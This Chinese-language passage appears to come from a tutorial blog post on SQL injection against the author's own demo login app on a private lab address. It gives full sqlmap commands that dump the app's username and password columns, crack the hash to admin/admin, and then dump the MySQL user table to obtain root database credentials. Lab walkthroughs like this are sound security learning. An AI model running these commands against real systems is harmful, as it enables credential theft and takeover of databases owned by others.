呃，好吧，这个表的结构过于简单，又算是放水了，不过一般存储用户名的列都会叫user、username、name之类的，存储密码列的都会跟passwd、password、auth之类的沾边的，如果不确定的话就多取几列也没关系的，现在已经确定了字段的名字了，把它拿回来：
./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar" --batch -D sql_inject_demo -T t_user -C \'username, passwd\' --dump这个过程可能会稍微有点慢，因为使用了--batch让sqlmap对一些询问的选项自己看着办，其中有一个检测到hash询问是否字典爆破的这货默认给爆破了，所以可能需要等上好一阵子才能看到结果：
哈，这个时候我们已经得到了想要的东西，一个访问口令，GET！它就是 admin / admin。
因为我这里设置的是弱口令，所以很快就跑出来了，如果密码复杂度很高的话可能需要保存下来另外使用专门的爆破工具来搞一搞。
这里有个坑，我开始写的时候密码习惯性的加了盐，然后就跑不出来了，后来注释掉了，至于加了盐的密码该怎么搞我也布吉岛....
作为一个有野心的脚本小子，怎么能满足于只get一个web访问口令呢，我们都知道mysql的元数据什么的都是存储在它的一个叫mysql的库中，包括访问系统的口令，所以这个时候可以如法炮制，获得数据库的访问口令：
./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar" --batch -D mysql -T user -C \'user, authentication_string\' --dump哈，这么简单就得到了mysql的root访问权限....
当然实际环境中不会这么顺利啦，这里只是作为一个演示而已。